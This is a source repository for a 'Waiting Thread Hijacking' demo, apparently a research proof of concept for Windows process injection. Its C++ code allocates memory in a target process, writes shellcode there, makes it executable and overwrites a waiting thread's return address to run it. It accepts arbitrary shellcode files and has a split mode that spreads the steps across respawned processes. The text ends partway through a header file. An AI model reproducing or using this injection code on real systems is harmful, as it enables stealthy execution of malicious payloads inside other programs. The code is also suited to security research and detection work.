├── .appveyor.yml ├── CMakeLists.txt ├── README.md ├── common.h ├── custom_shc └── popup.shc ├── hijacking.cpp ├── hijacking.h ├── img └── animation.gif ├── main.cpp ├── main_split.cpp ├── ntddk.h ├── ntdll_api.h ├── shellcode.h ├── threads_util.cpp └── threads_util.h /.appveyor.yml: -------------------------------------------------------------------------------- 1 | os: 2 | - Visual Studio 2022 3 | 4 | platform: x64 5 | 6 | branches: 7 | only: 8 | - master 9 | 10 | install: 11 | - git submodule update --init --recursive 12 | - set PATH=C:\Program Files\CMake\bin;%PATH% 13 | 14 | build: 15 | verbosity: detailed 16 | 17 | configuration: 18 | - Release 19 | 20 | before_build: 21 | - mkdir build 22 | - cd build 23 | - cmake .. -A x64 24 | - cmake -DCMAKE_INSTALL_PREFIX:PATH=%APPVEYOR_BUILD_FOLDER%/%APPVEYOR_REPO_COMMIT% .. 25 | 26 | build_script: 27 | - cmake --build . --config %CONFIGURATION% --target install 28 | -------------------------------------------------------------------------------- /CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required (VERSION 3.10) 2 | 3 | project ( waiting_thread_hijacking ) 4 | 5 | set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} /MT") 6 | 7 | option( SPLIT_STEPS "Split actions between different processes" OFF ) 8 | 9 | if(SPLIT_STEPS) 10 | add_compile_definitions(SPLIT_STEPS) 11 | endif() 12 | 13 | set (srcs 14 | threads_util.cpp 15 | hijacking.cpp 16 | ) 17 | 18 | set (hdrs 19 | shellcode.h 20 | ntdll_api.h 21 | common.h 22 | threads_util.h 23 | hijacking.h 24 | ntddk.h 25 | ) 26 | 27 | if(SPLIT_STEPS) 28 | set (srcs 29 | ${srcs} 30 | main_split.cpp 31 | ) 32 | else() 33 | set (srcs 34 | ${srcs} 35 | main.cpp 36 | ) 37 | endif() 38 | 39 | add_executable ( ${PROJECT_NAME} ${hdrs} ${srcs} ${rsrc}) 40 | 41 | INSTALL( TARGETS ${PROJECT_NAME} DESTINATION ${CMAKE_INSTALL_PREFIX} COMPONENT ${PROJECT_NAME} ) 42 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Waiting Thread Hijacking demo 2 | 3 | [![Build status](https://ci.appveyor.com/api/projects/status/xkbdp6m8ji6wlu68?svg=true)](https://ci.appveyor.com/project/hasherezade/waiting-thread-hijacking) 4 | 5 | Waiting Thread Hijacking - injection by overwriting the return address of a waiting thread. 6 | 7 | **Details: https://research.checkpoint.com/2025/waiting-thread-hijacking/** 8 | 9 | ![](img/animation.gif) 10 | 11 | 12 | ### Demo 13 | 14 | https://www.youtube.com/watch?v=CZIR4gq4jQ0 15 | -------------------------------------------------------------------------------- /common.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include "ntddk.h" 7 | 8 | #define KWAIT_REASON_TO_STRING(reason) \ 9 | ((reason) == Executive ? "Executive" : \ 10 | (reason) == FreePage ? "FreePage" : \ 11 | (reason) == PageIn ? "PageIn" : \ 12 | (reason) == PoolAllocation ? "PoolAllocation" : \ 13 | (reason) == DelayExecution ? "DelayExecution" : \ 14 | (reason) == Suspended ? "Suspended" : \ 15 | (reason) == UserRequest ? "UserRequest" : \ 16 | (reason) == WrExecutive ? "WrExecutive" : \ 17 | (reason) == WrFreePage ? "WrFreePage" : \ 18 | (reason) == WrPageIn ? "WrPageIn" : \ 19 | (reason) == WrPoolAllocation ? "WrPoolAllocation" : \ 20 | (reason) == WrDelayExecution ? "WrDelayExecution" : \ 21 | (reason) == WrSuspended ? "WrSuspended" : \ 22 | (reason) == WrUserRequest ? "WrUserRequest" : \ 23 | (reason) == WrEventPair ? "WrEventPair" : \ 24 | (reason) == WrQueue ? "WrQueue" : \ 25 | (reason) == WrLpcReceive ? "WrLpcReceive" : \ 26 | (reason) == WrLpcReply ? "WrLpcReply" : \ 27 | (reason) == WrVirtualMemory ? "WrVirtualMemory" : \ 28 | (reason) == WrPageOut ? "WrPageOut" : \ 29 | (reason) == WrRendezvous ? "WrRendezvous" : \ 30 | (reason) == WrKeyedEvent ? "WrKeyedEvent" : \ 31 | (reason) == WrTerminated ? "WrTerminated" : \ 32 | (reason) == WrProcessInSwap ? "WrProcessInSwap" : \ 33 | (reason) == WrCpuRateControl ? "WrCpuRateControl" : \ 34 | (reason) == WrCalloutStack ? "WrCalloutStack" : \ 35 | (reason) == WrKernel ? "WrKernel" : \ 36 | (reason) == WrResource ? "WrResource" : \ 37 | (reason) == WrPushLock ? "WrPushLock" : \ 38 | (reason) == WrMutex ? "WrMutex" : \ 39 | (reason) == WrQuantumEnd ? "WrQuantumEnd" : \ 40 | (reason) == WrDispatchInt ? "WrDispatchInt" : \ 41 | (reason) == WrPreempted ? "WrPreempted" : \ 42 | (reason) == WrYieldExecution ? "WrYieldExecution" : \ 43 | (reason) == WrFastMutex ? "WrFastMutex" : \ 44 | (reason) == WrGuardedMutex ? "WrGuardedMutex" : \ 45 | (reason) == WrRundown ? "WrRundown" : \ 46 | (reason) == WrAlertByThreadId ? "WrAlertByThreadId" : \ 47 | (reason) == WrDeferredPreempt ? "WrDeferredPreempt" : \ 48 | (reason) == WrPhysicalFault ? "WrPhysicalFault" : \ 49 | "Unknown") 50 | 51 | 52 | inline DWORD loadInt(const std::string& str, bool as_hex) 53 | { 54 | DWORD intVal = 0; 55 | 56 | std::stringstream ss; 57 | ss << (as_hex ? std::hex : std::dec) << str; 58 | ss >> intVal; 59 | return intVal; 60 | } 61 | 62 | inline std::string writeInt(ULONGLONG val, bool as_hex) 63 | { 64 | std::stringstream ss; 65 | ss << (as_hex ? std::hex : std::dec) << val; 66 | return ss.str(); 67 | } 68 | 69 | inline BYTE* load_from_file(const char* filename, size_t& data_size) 70 | { 71 | FILE* fp = fopen(filename, "rb"); 72 | if (!fp) return nullptr; 73 | 74 | fseek(fp, 0, SEEK_END); 75 | size_t fsize = ftell(fp); 76 | BYTE* data = (BYTE*)::calloc(fsize, 1); 77 | if (!data) return nullptr; 78 | 79 | fseek(fp, 0, SEEK_SET); 80 | data_size = fsize; 81 | fread(data, 1, data_size, fp); 82 | fclose(fp); 83 | return data; 84 | } 85 | -------------------------------------------------------------------------------- /custom_shc/popup.shc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/waiting_thread_hijacking/5433dd1285b6495ebfeae5f92d21cc67d433495a/custom_shc/popup.shc -------------------------------------------------------------------------------- /hijacking.cpp: -------------------------------------------------------------------------------- 1 | #include "hijacking.h" 2 | 3 | #include 4 | 5 | #include 6 | #include 7 | 8 | #include "ntdll_api.h" 9 | #include "ntddk.h" 10 | 11 | #include "threads_util.h" 12 | 13 | bool protect_memory(DWORD pid, LPVOID mem_ptr, SIZE_T mem_size, DWORD protect) 14 | { 15 | HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION, FALSE, pid); 16 | if (!hProcess) return false; 17 | 18 | DWORD oldProtect = 0; 19 | BOOL isOk = ntapi::VirtualProtectEx(hProcess, (LPVOID)mem_ptr, mem_size, protect, &oldProtect); 20 | CloseHandle(hProcess); 21 | return isOk; 22 | } 23 | 24 | HMODULE get_module_by_address(LPVOID ret) 25 | { 26 | if (IsBadReadPtr(ret, sizeof(DWORD))) { 27 | return (HMODULE)NULL; //not mapped in the current process, probably the implanted shellcode 28 | } 29 | HMODULE mod = NULL; 30 | if (GetModuleHandleExA(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT, (LPCSTR)ret, &mod)) { 31 | std::cout << "Address: " << std::hex << ret << " found in module: " << std::hex << mod; 32 | char base_name[MAX_PATH] = { 0 }; 33 | if (GetModuleBaseNameA(GetCurrentProcess(), mod, base_name, MAX_PATH)) { 34 | std::cout << " : " << base_name; 35 | } 36 | std::cout << "\n"; 37 | } 38 | return mod; 39 | } 40 | 41 | bool check_ret_target(LPVOID ret) 42 | { 43 | HMODULE mod = get_module_by_address((LPVOID)ret); 44 | if (mod == NULL) { 45 | std::cout << "Pointer not in any recognized module.\n"; 46 | return false; 47 | } 48 | if (mod == GetModuleHandleA("ntdll.dll") || 49 | mod == GetModuleHandleA("kernelbase.dll") || 50 | mod == GetModuleHandleA("kernel32.dll")) 51 | { 52 | return true; 53 | } 54 | std::cout << "Pointer not in ntdll/kernel32.\n"; 55 | return false; 56 | } 57 | 58 | bool run_injected(DWORD pid, ULONGLONG shellcodePtr, size_t shellcodeSize, DWORD wait_reason) 59 | { 60 | std::cout << "Enumerating threads of PID: " << pid << "\n"; 61 | std::map threads_info; 62 | if (!threads_util::fetch_threads_info(pid, threads_info)) { 63 | return false; 64 | } 65 | 66 | HANDLE hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, pid); 67 | if (!hProcess) return false; 68 | 69 | CONTEXT ctx = { 0 }; 70 | ULONGLONG suitable_ret_ptr = 0; 71 | ULONGLONG suitable_ret = 0; 72 | std::cout << "Threads: " << threads_info.size() << std::endl; 73 | for (auto itr = threads_info.begin(); itr != threads_info.end(); ++itr) { 74 | threads_util::thread_info& info = itr->second; 75 | 76 | if (!info.is_extended) return false; 77 | 78 | if (info.ext.state == Waiting) { 79 | std::cout << "TID: " << info.tid << std::hex << " : wait reason: " << std::dec << info.ext.wait_reason << "\n"; 80 | if (wait_reason != WAIT_REASON_UNDEFINED // if wait reason defined 81 | && info.ext.wait_reason != wait_reason) 82 | { 83 | continue; 84 | } 85 | if (!threads_util::read_context(info.tid, ctx)) { 86 | continue; 87 | } 88 | ULONGLONG ret = threads_util::read_return_ptr(hProcess, ctx.Rsp); 89 | std::cout << "RET: " << std::hex << ret << "\n"; 90 | if (!suitable_ret_ptr) { 91 | if (!check_ret_target((LPVOID)ret)) { 92 | std::cout << "Not supported ret target. Skipping!\n"; 93 | continue; 94 | } 95 | suitable_ret_ptr = ctx.Rsp; 96 | suitable_ret = ret; 97 | std::cout << "\tUsing as a target!\n"; 98 | break; 99 | } 100 | } 101 | else { 102 | std::cout << "TID: " << itr->first << "is NOT waiting, State: " << info.ext.state << "\n"; 103 | } 104 | } 105 | bool is_injected = false; 106 | if (suitable_ret_ptr) { 107 | // overwrite the shellcode with the jump back 108 | SIZE_T written = 0; 109 | if (ntapi::WriteProcessMemory(hProcess, (LPVOID)shellcodePtr, &suitable_ret, sizeof(suitable_ret), &written) && written == sizeof(suitable_ret)) { 110 | std::cout << "Shellcode ptr overwritten! Written: " << written << " \n"; 111 | } 112 | else { 113 | std::cout << "Failed to overwrite shellcode jmp back: " << std::hex << GetLastError() << "\n"; 114 | return false; 115 | } 116 | if (!protect_memory(pid, (LPVOID)shellcodePtr, shellcodeSize, PAGE_EXECUTE_READ)) { 117 | std::cerr << "Failed making memory executable!\n"; 118 | return false; 119 | } 120 | 121 | shellcodePtr += 0x8; // after the saved return... 122 | std::cout << "Trying to overwrite: " << std::hex << suitable_ret_ptr << " -> " << suitable_ret << " with: " << shellcodePtr << std::endl; 123 | if (ntapi::WriteProcessMemory(hProcess, (LPVOID)suitable_ret_ptr, &shellcodePtr, sizeof(shellcodePtr), &written) && written == sizeof(shellcodePtr)) { 124 | std::cout << "Ret overwritten!\n"; 125 | is_injected = true; 126 | } 127 | } 128 | CloseHandle(hProcess); 129 | return is_injected; 130 | } 131 | 132 | LPVOID alloc_memory_in_process(DWORD processID, const size_t shellcode_size) 133 | { 134 | HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION, FALSE, processID); 135 | if (!hProcess) return nullptr; 136 | 137 | LPVOID shellcodePtr = ntapi::VirtualAllocEx(hProcess, nullptr, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 138 | CloseHandle(hProcess); 139 | return shellcodePtr; 140 | } 141 | 142 | bool write_shc_into_process(DWORD processID, LPVOID shellcodePtr, const BYTE *shellc_buf, const size_t shellc_size) 143 | { 144 | if (!shellcodePtr) return false; 145 | 146 | HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, processID); 147 | if (!hProcess) return false; 148 | 149 | SIZE_T written = 0; 150 | bool isOk = ntapi::WriteProcessMemory(hProcess, (LPVOID)shellcodePtr, (LPVOID)shellc_buf, shellc_size, &written); 151 | CloseHandle(hProcess); 152 | if (isOk && written == shellc_size) { 153 | return true; 154 | } 155 | return false; 156 | } 157 | -------------------------------------------------------------------------------- /hijacking.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | #define WAIT_REASON_UNDEFINED (-1) 6 | 7 | LPVOID alloc_memory_in_process(DWORD processID, const size_t shellcode_size); 8 | 9 | bool write_shc_into_process(DWORD processID, LPVOID shellcodePtr, const BYTE* shellc_buf, const size_t shellc_size); 10 | 11 | bool run_injected(DWORD pid, ULONGLONG shellcodePtr, size_t shellcodeSize, DWORD wait_reason); 12 | -------------------------------------------------------------------------------- /img/animation.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/waiting_thread_hijacking/5433dd1285b6495ebfeae5f92d21cc67d433495a/img/animation.gif -------------------------------------------------------------------------------- /main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "hijacking.h" 5 | #include "common.h" 6 | #include "ntddk.h" 7 | 8 | #include "shellcode.h" 9 | 10 | DWORD g_WaitReason = WrQueue; 11 | 12 | BYTE* wrap_shellcode(IN BYTE* raw_shellcode, IN size_t raw_shellcode_size, OUT size_t& wrapped_shc_size) 13 | { 14 | if (!raw_shellcode_size) { 15 | return nullptr; 16 | } 17 | const size_t full_size = sizeof(g_shellcode_stub) + raw_shellcode_size; 18 | BYTE* full_shc = (BYTE*)::calloc(full_size, 1); 19 | if (!full_shc) { 20 | return nullptr; 21 | } 22 | wrapped_shc_size = full_size; 23 | ::memcpy(full_shc, g_shellcode_stub, sizeof(g_shellcode_stub)); 24 | ::memcpy(full_shc + sizeof(g_shellcode_stub), raw_shellcode, raw_shellcode_size); 25 | return full_shc; 26 | } 27 | 28 | inline bool execute_injection(DWORD processID, BYTE* shellcode_buf, size_t shellcode_size) 29 | { 30 | LPVOID shellcodePtr = alloc_memory_in_process(processID, shellcode_size); 31 | bool isOk = write_shc_into_process(processID, shellcodePtr, shellcode_buf, shellcode_size); 32 | if (!isOk) return false; 33 | return run_injected(processID, (ULONG_PTR)shellcodePtr, shellcode_size, g_WaitReason); 34 | } 35 | 36 | int main(int argc, char* argv[]) 37 | { 38 | if (argc < 2) { 39 | std::cout << "Waiting Thread Hijacking. Target Wait Reason: " << KWAIT_REASON_TO_STRING(g_WaitReason) << "\n" 40 | << "Arg [shellcode_file*]\n" 41 | << "* - optional; requires shellcode with clean exit" 42 | << std::endl; 43 | return 0; 44 | } 45 | BYTE* payload = g_shellcode_pop_calc; 46 | size_t payload_size = sizeof(g_shellcode_pop_calc); 47 | if (argc > 2) { 48 | char* filename = argv[2]; 49 | payload = load_from_file(filename, payload_size); 50 | if (!payload) { 51 | std::cerr << "Failed loading shellcode from file: " << filename << std::endl; 52 | return (-1); 53 | } 54 | std::cout << "Using payload from file: " << filename << std::endl; 55 | } 56 | DWORD processID = loadInt(argv[1], false); 57 | if (!processID) { 58 | std::cerr << "No process ID supplied!\n"; 59 | return -1; 60 | } 61 | HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION, FALSE, processID); 62 | if (!hProcess) { 63 | std::cerr << "Failed opening the process!\n"; 64 | return 0; 65 | } 66 | CloseHandle(hProcess); 67 | 68 | size_t shellc_size = 0; 69 | BYTE* shellc_buf = wrap_shellcode(payload, payload_size, shellc_size); 70 | int status = 0; 71 | if (execute_injection(processID, shellc_buf, shellc_size)) { 72 | std::cout << "Done!\n"; 73 | } 74 | else { 75 | std::cout << "Failed!\n"; 76 | status = (-1); 77 | } 78 | return status; 79 | } 80 | -------------------------------------------------------------------------------- /main_split.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "hijacking.h" 5 | #include "common.h" 6 | #include "ntddk.h" 7 | #include "shellcode.h" 8 | 9 | enum t_result { 10 | RET_OK = 0, 11 | RET_PID_INVALID, 12 | RET_OPEN_PROCESS_FAILED, 13 | RET_PASS_MEM_FAILED, 14 | RET_ALLOC_FAILED, 15 | RET_WRITE_FAILED, 16 | RET_EXECUTE_FAILED, 17 | RET_INVALID_STATE, 18 | RET_OTHER_ERR 19 | }; 20 | 21 | enum t_state { 22 | STATE_UNINITIALIZED = 0, 23 | STATE_ALLOC = 1, 24 | STATE_WRITE, 25 | STATE_EXECUTE, 26 | STATE_MAX 27 | }; 28 | 29 | DWORD g_WaitReason = WrQueue; 30 | 31 | BYTE* wrap_shellcode(IN BYTE* raw_shellcode, IN size_t raw_shellcode_size, OUT size_t& wrapped_shc_size) 32 | { 33 | if (!raw_shellcode_size) { 34 | return nullptr; 35 | } 36 | const size_t full_size = sizeof(g_shellcode_stub) + raw_shellcode_size; 37 | BYTE* full_shc = (BYTE*)::calloc(full_size, 1); 38 | if (!full_shc) { 39 | return nullptr; 40 | } 41 | wrapped_shc_size = full_size; 42 | ::memcpy(full_shc, g_shellcode_stub, sizeof(g_shellcode_stub)); 43 | ::memcpy(full_shc + sizeof(g_shellcode_stub), raw_shellcode, raw_shellcode_size); 44 | return full_shc; 45 | } 46 | 47 | ULONGLONG get_env(const char *var_name, bool isHex = false) 48 | { 49 | ULONGLONG state = 0; 50 | char env_str[100] = { 0 }; 51 | if (!GetEnvironmentVariableA(var_name, env_str, 100)) { 52 | return 0; 53 | } 54 | state = loadInt(env_str, isHex); 55 | return state; 56 | } 57 | 58 | BOOL set_env(const char* var_name, ULONGLONG val, bool isHex = false) 59 | { 60 | std::string next = writeInt(val, isHex); 61 | return SetEnvironmentVariableA(var_name, next.c_str()); 62 | } 63 | 64 | t_result execute_state(t_state state, BYTE *shellc_buf, size_t shellc_size) 65 | { 66 | DWORD processID = get_env("PID"); 67 | if (!processID) { 68 | return RET_PID_INVALID; 69 | } 70 | std::cout << "[#] PID: " << std::dec << GetCurrentProcessId() << " : " << "Executing State: " << state << "\n"; 71 | 72 | if (state == STATE_ALLOC) { 73 | LPVOID shellcodePtr = alloc_memory_in_process(processID, shellc_size); 74 | if (shellcodePtr) { 75 | set_env("SHC", (ULONGLONG)shellcodePtr, true); 76 | return RET_OK; 77 | } 78 | return RET_ALLOC_FAILED; 79 | } 80 | ULONGLONG shellcodePtr = get_env("SHC", true); 81 | if (!shellcodePtr) { 82 | return RET_PASS_MEM_FAILED; 83 | } 84 | if (state == STATE_WRITE) { 85 | if (write_shc_into_process(processID, (LPVOID)shellcodePtr, shellc_buf, shellc_size)) { 86 | return RET_OK; 87 | } 88 | return RET_WRITE_FAILED; 89 | } 90 | if (state == STATE_EXECUTE) { 91 | if (run_injected(processID, shellcodePtr, shellc_size, g_WaitReason)) { 92 | return RET_OK; 93 | } 94 | return RET_EXECUTE_FAILED; 95 | } 96 | return RET_INVALID_STATE; 97 | } 98 | 99 | bool restart_updated(IN LPSTR path) 100 | { 101 | PROCESS_INFORMATION pi = { 0 }; 102 | STARTUPINFO si = { 0 }; 103 | memset(&si, 0, sizeof(STARTUPINFO)); 104 | si.cb = sizeof(STARTUPINFO); 105 | 106 | memset(&pi, 0, sizeof(PROCESS_INFORMATION)); 107 | 108 | if (!CreateProcessA( 109 | path, 110 | NULL, 111 | NULL, //lpProcessAttributes 112 | NULL, //lpThreadAttributes 113 | FALSE, //bInheritHandles 114 | 0, //dwCreationFlags 115 | NULL, //lpEnvironment 116 | NULL, //lpCurrentDirectory 117 | &si, //lpStartupInfo 118 | &pi //lpProcessInformation 119 | )) 120 | { 121 | std::cerr << "[ERROR] CreateProcess failed, Error = " << std::dec << GetLastError() << std::endl; 122 | return false; 123 | } 124 | CloseHandle(pi.hThread); 125 | CloseHandle(pi.hProcess); 126 | return true; 127 | } 128 | 129 | int main(int argc, char* argv[]) 130 | { 131 | char my_name[MAX_PATH] = { 0 }; 132 | GetModuleFileNameA(NULL, my_name, MAX_PATH); 133 | #ifdef _DEBUG 134 | std::cout << "[#] PID: " << std::dec << GetCurrentProcessId() << std::endl; 135 | std::cout << "[#] Path: " << my_name << std::endl; 136 | #endif 137 | 138 | t_state state = (t_state)get_env("RES"); 139 | 140 | #ifdef _DEBUG 141 | std::cout << "[#] State: " << state << "\n"; 142 | #endif 143 | 144 | if (state == STATE_UNINITIALIZED) 145 | { 146 | // check process: 147 | DWORD processID = 0; 148 | if (argc < 2) { 149 | std::cout << "Waiting Thread Hijacking (Split Mode). Target Wait Reason: " << KWAIT_REASON_TO_STRING(g_WaitReason) << "\n" 150 | << "Arg [shellcode_file*]\n" 151 | << "* - optional; requires shellcode with clean exit" 152 | << std::endl; 153 | return 0; 154 | } 155 | if (argc > 2) { 156 | const char* filename = argv[2]; 157 | SetEnvironmentVariableA("SHC_FILE", filename); 158 | } 159 | processID = loadInt(argv[1], false); 160 | if (!processID) { 161 | std::cerr << "No process ID supplied!\n"; 162 | return -1; 163 | } 164 | std::cout << "Supplied PID: " << processID << "\n"; 165 | HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION, FALSE, processID); 166 | if (!hProcess) { 167 | std::cerr << "Failed opening the process!\n"; 168 | return RET_OPEN_PROCESS_FAILED; 169 | } 170 | CloseHandle(hProcess); 171 | set_env("PID", processID); 172 | } 173 | else 174 | { 175 | BYTE* payload = g_shellcode_pop_calc; 176 | size_t payload_size = sizeof(g_shellcode_pop_calc); 177 | bool custom_shc = false; 178 | 179 | char filename[MAX_PATH] = { 0 }; 180 | if (GetEnvironmentVariableA("SHC_FILE", filename, MAX_PATH)) { 181 | payload = load_from_file(filename, payload_size); 182 | if (!payload) { 183 | std::cerr << "Failed loading shellcode from file: " << filename << std::endl; 184 | return RET_OTHER_ERR; 185 | } 186 | custom_shc = true; 187 | std::cout << "Using payload from file: " << filename << std::endl; 188 | } 189 | 190 | size_t shellc_size = 0; 191 | BYTE* shellc_buf = wrap_shellcode(payload, payload_size, shellc_size); 192 | 193 | t_result res = execute_state(state, shellc_buf, shellc_size); 194 | ::free(shellc_buf); shellc_size = 0; 195 | if (custom_shc) { 196 | ::free(payload); 197 | } 198 | if (res != RET_OK) { 199 | std::cerr << "Failed, result: " << res << "\n"; 200 | return res; 201 | } 202 | } 203 | DWORD new_state = state + 1; 204 | if (new_state == STATE_MAX) { 205 | std::cout << "[+] OK, finished!" << std::endl; 206 | return RET_OK; 207 | } 208 | set_env("RES", (ULONGLONG)new_state); 209 | if (restart_updated(my_name)) { 210 | return RET_OK; 211 | } 212 | return RET_OTHER_ERR; 213 | } 214 | -------------------------------------------------------------------------------- /ntddk.h: -------------------------------------------------------------------------------- 1 | #ifndef __NTDLL_H__ 2 | #define __NTDLL_H__ 3 | 4 | #ifdef __cplusplus 5 | extern "C" { 6 | #endif 7 | #include 8 | 9 | #ifdef _NTDDK_ 10 | #error This header cannot be compiled together with NTDDK 11 | #endif 12 | 13 | //Do not insert the library. Only definitions. 14 | /* 15 | #ifndef _NTDLL_SELF_ // Auto-insert the library 16 | #pragma comment(lib, "Ntdll.lib") 17 | #endif 18 | */ 19 | #pragma warning(disable: 4201) // nonstandard extension used : nameless struct/union 20 | 21 | #pragma warning(push) 22 | #pragma warning(disable:4005) 23 | #include 24 | #pragma warning(pop) 25 | 26 | //------------------------------------------------------------------------------ 27 | // Defines for NTSTATUS 28 | 29 | typedef long NTSTATUS; 30 | 31 | #ifndef NT_SUCCESS 32 | #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) 33 | #endif 34 | 35 | #ifndef STATUS_SUCCESS 36 | #define STATUS_SUCCESS ((NTSTATUS)0x00000000L) 37 | #endif 38 | 39 | #ifndef STATUS_UNSUCCESSFUL 40 | #define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L) 41 | #endif 42 | 43 | #ifndef ASSERT 44 | #ifdef _DEBUG 45 | #define ASSERT(x) assert(x) 46 | #else 47 | #define ASSERT(x) /* x */ 48 | #endif 49 | #endif 50 | 51 | //------------------------------------------------------------------------------ 52 | // Structures 53 | 54 | typedef enum _EVENT_TYPE 55 | { 56 | NotificationEvent, 57 | SynchronizationEvent 58 | 59 | } EVENT_TYPE; 60 | 61 | // 62 | // ANSI strings are counted 8-bit character strings. If they are 63 | // NULL terminated, Length does not include trailing NULL. 64 | // 65 | 66 | #ifndef _NTSECAPI_ 67 | typedef struct _STRING 68 | { 69 | USHORT Length; 70 | USHORT MaximumLength; 71 | PCHAR Buffer; 72 | 73 | } STRING, *PSTRING; 74 | 75 | // 76 | // Unicode strings are counted 16-bit character strings. If they are 77 | // NULL terminated, Length does not include trailing NULL. 78 | // 79 | 80 | typedef struct _UNICODE_STRING 81 | { 82 | USHORT Length; 83 | USHORT MaximumLength; 84 | PWSTR Buffer; 85 | 86 | } UNICODE_STRING, *PUNICODE_STRING; 87 | #endif // _NTSECAPI_ 88 | 89 | typedef STRING ANSI_STRING; 90 | typedef PSTRING PANSI_STRING; 91 | 92 | typedef STRING OEM_STRING; 93 | typedef PSTRING POEM_STRING; 94 | typedef CONST STRING* PCOEM_STRING; 95 | 96 | typedef const UNICODE_STRING *PCUNICODE_STRING; 97 | 98 | #define UNICODE_NULL ((WCHAR)0) // winnt 99 | 100 | // 101 | // Valid values for the Attributes field 102 | // 103 | 104 | #ifndef OBJ_CASE_INSENSITIVE 105 | #define OBJ_INHERIT 0x00000002L 106 | #define OBJ_PERMANENT 0x00000010L 107 | #define OBJ_EXCLUSIVE 0x00000020L 108 | #define OBJ_CASE_INSENSITIVE 0x00000040L 109 | #define OBJ_OPENIF 0x00000080L 110 | #define OBJ_OPENLINK 0x00000100L 111 | #define OBJ_KERNEL_HANDLE 0x00000200L 112 | #define OBJ_FORCE_ACCESS_CHECK 0x00000400L 113 | #define OBJ_VALID_ATTRIBUTES 0x000007F2L 114 | 115 | // 116 | // Object Attributes structure 117 | // 118 | 119 | typedef struct _OBJECT_ATTRIBUTES 120 | { 121 | ULONG Length; 122 | HANDLE RootDirectory; 123 | PUNICODE_STRING ObjectName; 124 | ULONG Attributes; 125 | PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR 126 | PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE 127 | 128 | } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; 129 | #endif // OBJ_CASE_INSENSITIVE 130 | 131 | // 132 | // IO_STATUS_BLOCK 133 | // 134 | 135 | typedef struct _IO_STATUS_BLOCK 136 | { 137 | union 138 | { 139 | NTSTATUS Status; 140 | PVOID Pointer; 141 | }; 142 | 143 | ULONG_PTR Information; 144 | 145 | } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; 146 | 147 | // 148 | // ClientId 149 | // 150 | 151 | typedef struct _CLIENT_ID 152 | { 153 | HANDLE UniqueProcess; 154 | HANDLE UniqueThread; 155 | 156 | } CLIENT_ID, *PCLIENT_ID; 157 | 158 | 159 | // 160 | // CURDIR structure 161 | // 162 | 163 | typedef struct _CURDIR 164 | { 165 | UNICODE_STRING DosPath; 166 | HANDLE Handle; 167 | 168 | } CURDIR, *PCURDIR; 169 | 170 | 171 | //------------------------------------------------------------------------------ 172 | // Macros 173 | 174 | // INIT_UNICODE_STRING is a replacement of RtlInitUnicodeString 175 | #ifndef INIT_UNICODE_STRING 176 | #define INIT_UNICODE_STRING(us, wch) \ 177 | us.MaximumLength = (USHORT)sizeof(wch); \ 178 | us.Length = (USHORT)(wcslen(wch) * sizeof(WCHAR)); \ 179 | us.Buffer = wch 180 | #endif 181 | 182 | 183 | #ifndef InitializeObjectAttributes 184 | #define InitializeObjectAttributes( p, n, a, r, s ) { \ 185 | (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ 186 | (p)->RootDirectory = r; \ 187 | (p)->Attributes = a; \ 188 | (p)->ObjectName = n; \ 189 | (p)->SecurityDescriptor = s; \ 190 | (p)->SecurityQualityOfService = NULL; \ 191 | } 192 | #endif 193 | 194 | 195 | #ifndef InitializePortHeader 196 | #define InitializeMessageHeader( ph, l, t ) { \ 197 | (ph)->TotalLength = (USHORT)(l); \ 198 | (ph)->DataLength = (USHORT)(l - sizeof(PORT_MESSAGE)); \ 199 | (ph)->Type = (USHORT)(t); \ 200 | (ph)->VirtualRangesOffset = 0; \ 201 | } 202 | #endif 203 | 204 | //----------------------------------------------------------------------------- 205 | // Image functions 206 | 207 | NTSYSAPI 208 | PVOID 209 | NTAPI 210 | RtlImageNtHeader ( 211 | IN PVOID BaseAddress 212 | ); 213 | 214 | NTSYSAPI 215 | PVOID 216 | NTAPI 217 | RtlImageDirectoryEntryToData ( 218 | IN PVOID Base, 219 | IN BOOLEAN MappedAsImage, 220 | IN USHORT DirectoryEntry, 221 | OUT PULONG Size 222 | ); 223 | 224 | //----------------------------------------------------------------------------- 225 | // Unicode string functions 226 | 227 | NTSYSAPI 228 | NTSTATUS 229 | NTAPI 230 | RtlStringFromGUID( 231 | IN REFGUID Guid, 232 | OUT PUNICODE_STRING GuidString 233 | ); 234 | 235 | 236 | NTSYSAPI 237 | VOID 238 | NTAPI 239 | RtlInitUnicodeString( 240 | PUNICODE_STRING DestinationString, 241 | PCWSTR SourceString 242 | ); 243 | 244 | 245 | NTSYSAPI 246 | BOOLEAN 247 | NTAPI 248 | RtlCreateUnicodeString( 249 | OUT PUNICODE_STRING DestinationString, 250 | IN PCWSTR SourceString 251 | ); 252 | 253 | 254 | NTSYSAPI 255 | BOOLEAN 256 | NTAPI 257 | RtlCreateUnicodeStringFromAsciiz( 258 | OUT PUNICODE_STRING Destination, 259 | IN PCSTR Source 260 | ); 